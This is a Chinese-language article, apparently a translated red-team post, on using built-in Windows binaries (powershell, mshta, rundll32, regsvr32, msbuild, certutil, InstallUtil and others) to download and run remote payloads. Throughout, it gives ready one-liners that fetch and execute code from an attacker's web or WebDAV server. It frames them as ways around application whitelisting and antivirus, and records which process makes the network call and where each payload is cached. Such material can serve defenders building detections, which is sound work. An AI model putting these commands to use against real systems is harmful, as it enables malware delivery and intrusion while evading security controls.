导语:本文主要介绍了Windows命令行下载远程payload及执行任意代码的几种方法。
0x00 除了使用powershell,还有其他方式远程执行payload么?
最近一段时间,使用DDE执行任意命令控制目标操作系统的方法已经逐渐成为一种趋势。在这一背景下,我不断地在思考一个问题,除了著名的powershell外,还有其他的命令行方式执行payload代码么? 想了下,要想满足目前的需求,那么这类命令行工具需要满足一下几个条件:
· 可以执行任意代码:能够弹计算器确实很棒,但从攻击者的角度来讲,并不能满足需求
· 可以在一个远程服务器上下载payload:因为很多恶意软件、RAT、代理等并不能通过单独的一行命令实现
· 可以实现代理:目前来讲很多公司都使用代理的方式对外传输流量
· 尽可能使用标准化、广泛部署的Microsoft二进制文件:目的是让这个命令行工具可以不加修改在较多的系统上执行
· EDR友好
· 仅仅在内存中驻留(而不用写入硬盘):因为如果恶意代码写入硬盘中的话,很容易被杀毒软件识别 此前,很多人已经做了大量关于应用程序白名单绕过的研究,特别是@subTee。最终我们找到了一个折中的方案:通过滥用Microsoft内置二进制文件执行任意代码。 需要注意一点,并不是所有的命令行工具都能满足以上所有的条件,特别是不能把payload写在硬盘上这一条,因为绝大多数情况下,下载回来的文件都会在本地保存一段时间。 当这个命令行工具从远程的服务器上下载payload,总结一下,一共有这3个步骤:
1. 命令本工具可以将HTTP URL作为一个参数传入
2. 命令行工具可以接收一个UNC路径(指向WebDAV服务器)
3. 命令行工具可以执行从远程服务器上下载回来的内联脚本 拿Windows 7和10举例来说,通过HTTP下载对象的本地缓存就是IE的本地缓存,存在于以下位置之一:
C:Users<username>AppDataLocalMicrosoftWindowsTemporary Internet Files C:Users<username>AppDataLocalMicrosoftWindowsINetCacheIE<subdir>
另一方面,通过指向WebDAV服务器UNC路径访问的文件将保存在WebDAV客户端本地缓存中,存放路径如下:
C:WindowsServiceProfilesLocalServiceAppDataLocalTempTfsStoreTfs_DAV
使用UNC路径指向托管有效内容的WebDAV服务器时,要记住一点,只有在WebClient服务启动后才能使用该路径。 如果该服务没有启动,为了让低权限的用户可以启动它,只需在命令行之前加上“pushd webdavserver & popd”即可。 在下面的所有场景中,我会提到哪个进程会产生网络通信,以及什么时候payload会被写在磁盘上。
0x01 Powershell
OK,先挑一个最有名气的方法来说把,方法很成熟,但是监控手段也会一样成熟。 一个大家都了解的代理友好的命令如下:
powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http: //webserver/payload.ps1')|iex"
在这一行命令中,执行网络通信的进程为:powershell.exe payload会写在硬盘上么?不会的!!!(至少我现在还不知道它写在了什么位置) 而且你也可以使用一些编码手段来绕过安全监测。 你也可以直接从WebDAV服务器调用执行payload代码:
powershell -exec bypass -f webdavserverfolderpayload.ps1
在这一行命令中,执行网络通信的进程为:svchost.exe payload写入磁盘的位置:WebDAV客户端本地缓存位置
0x03 CMD
当你使用cmd.exe执行一个批处理文件时,为什么会让事情变得更加复杂? 特别是当这个批处理文件不仅可以执行一系列的命令,而且还可以嵌入任何文件类型(脚本文件,可执行文件,以及任何其他你能想到的格式!)。 可以看一下我的Invoke-EmbedInBatch.ps1脚本(受到@xorrior研究成果的启发),而且可以很容易地删除任何二进制、DLL、脚本文件,项目地址在这里:https://github.com/Arno0x/PowerShellScripts 因此,当你把payload作为作为批处理文件时,请执行以下操作:
cmd.exe /k < webdavserverfolderbatchfile.txt
在这一行命令中,执行网络通信的进程为:svchost.exe payload写入磁盘的位置:WebDAV客户端本地缓存位置
0x04 Cscript/Wscript
通过Cscript/Wscript也是一种很常见的方式,这里提供一个思路,通过执行命令,在远程的服务器上下载payload。
cscript //E:jscript webdavserverfolderpayload.txt
在这一行命令中,执行网络通信的进程为:svchost.exe payload写入磁盘的位置:WebDAV客户端本地缓存位置
0x05 Mshta
Mshta与Cscript/Wscript属于统一家族,不同之处是其增加了一个执行内联脚本的能力,这个脚本会下载一个scriptlet作为payload执行:
mshta vbscript: Close (Execute("GetObject(""script:http://webserver/payload.sct"")"))
在这一行命令中,执行网络通信的进程为:mshta.exe payload写入磁盘的位置:IE local cache(IE本地缓存地址) 这里还有一个更简单的方法,mshta可以接收一个URL作为参数来执行链接中的HTA文件,像下面这样:
mshta http: //webserver/payload.hta
在这一行命令中,执行网络通信的进程为:mshta.exe payload写入磁盘的位置:IE local cache(IE本地缓存地址) 再来一个,下面的命令也可以运行,同时其具有隐藏mshta.exe下载东西的优势:
mshta webdavserverfolderpayload.hta
在这一行命令中,执行网络通信的进程为:svchost.exe payload写入磁盘的位置:WebDAV client local cache(WebDAV客户端本地缓存地址)
0x06 Rundll32
Rundll32的话,有多种不同的利用方法。 第一种方法就是使用UNC路径去执行标准的DLL文件。
rundll32 webdavserverfolderpayload.dll,entrypoint
在这一行命令中,执行网络通信的进程为:svchost.exe payload写入磁盘的位置:WebDAV client local cache(WebDAV客户端本地缓存地址) Rundll32也可以调用一些内联的jscript代码:
rundll32.exe javascript:"..mshtml,RunHTMLApplication";o=GetObject("script:http://webserver/payload.sct");window.close();
在这一行命令中,执行网络通信的进程为:rundll32.exe payload写入磁盘的位置:IE local cache(IE本地缓存地址)
0x07 Regasm/Regsvc
Regasm和Regsvc是@subTee发现的应用程序白名单绕过技术之一。 我们需要创建一个特定的DLL(可以用.Net/C#编写),开适当的接口,然后通过WebDAV调用它:
C:WindowsMicrosoft.NETFramework64v4.0.30319regasm.exe /u webdavserverfolderpayload.dll
在这一行命令中,执行网络通信的进程为:svchost.exe payload写入磁盘的位置:WebDAV client local cache(WebDAV客户端本地缓存地址)
0x08 Regsvr32
@subTee研究出来的另一种方法,这种方法需要与上面mshta略有不同的scriptlet。 第一种实现方式:
regsvr32 /u /n /s /i:http: //webserver/payload.sct scrobj.dll
在这一行命令中,执行网络通信的进程为:regsvr32.exe payload写入磁盘的位置:IE local cache(IE本地缓存地址) 第二种方式(使用UNC/WebDAV):
regsvr32 /u /n /s /i:webdavserverfolderpayload.sct scrobj.dll
在这一行命令中,执行网络通信的进程为:svchost.exe payload写入磁盘的位置:WebDAV client local cache(WebDAV客户端本地缓存地址)
0x09 Msbuild
让我们继续讨论@subTee发现的这些.Net框架实用程序。 不要混合使用UNC路径和msbuild.exe(实际上也可以,但是看起来会很混乱),可以使用下面的小技巧,只使用msbuild.exe。
cmd /V /c "set MB="C:WindowsMicrosoft.NETFramework64v4.0.30319MSBuild.exe" & !MB! /noautoresponse /preprocess webdavserverfolderpayload.xml > payload.xml & !MB! payload.xml"
在这一行命令中,执行网络通信的进程为:svchost.exe payload写入磁盘的位置:WebDAV client local cache(WebDAV客户端本地缓存地址) 稍后我们可以看到,可以使用其他方法下载文件到本地,然后使用msbuild.exe执行它。
0x0A 一些命令的组合技巧
事实上,在一些实战场景中,例如DDE,并不会限制我们只能执行一种命令,可以多种命令组合使用来达到我们的最终目的。 例如,下载payload可以用certutil.exe(感谢@subTee发现这种方式):
certutil -urlcache -split -f http: //webserver/payload payload
现在在一行中将命令与InstallUtil.exe执行特定的DLL作为payload结合起来:
certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.dll & C:WindowsMicrosoft.NETFramework64v4.0.30319InstallUtil /logfile= /LogToConsole=false /u payload.dll
也可以直接使用一个可执行文件:
certutil -urlcache -split -f http://webserver/payload. b64 payload. b64 & certutil -decode payload. b64 payload.exe & payload.exe
达到这个目的可能还有很多其他的方法,但是这些命令行可以完成这个工作,同时满足了我们在这篇文章开头提出的大部分条件! 这时候有同学可能就会提问了,为什么文章中没有提到bitsadmin工具作为下载payload的方法呢?很简单,因为这个工具不支持使用代理,所以我也就没介绍它。
0x0B payload源码举例
文章中提到的所有命令都使用了同一payload作为实验素材:
· 各种脚本(.sct),用于mshta、rundll32、regsvr32
· HTML 应用(.hta)
· MSBuild内联任务(.xml或.csproj)
· DLL用于InstallUtil或Regasm/Regsvc 可以参考这个地址获取更多的payload实例:https://github.com/redcanaryco/atomic-red-team 也可以使用Github上的GreatSCT项目来生成payload:https://github.com/GreatSCT/GreatSCT
更多示例请参考:https://gist.github.com/Arno0x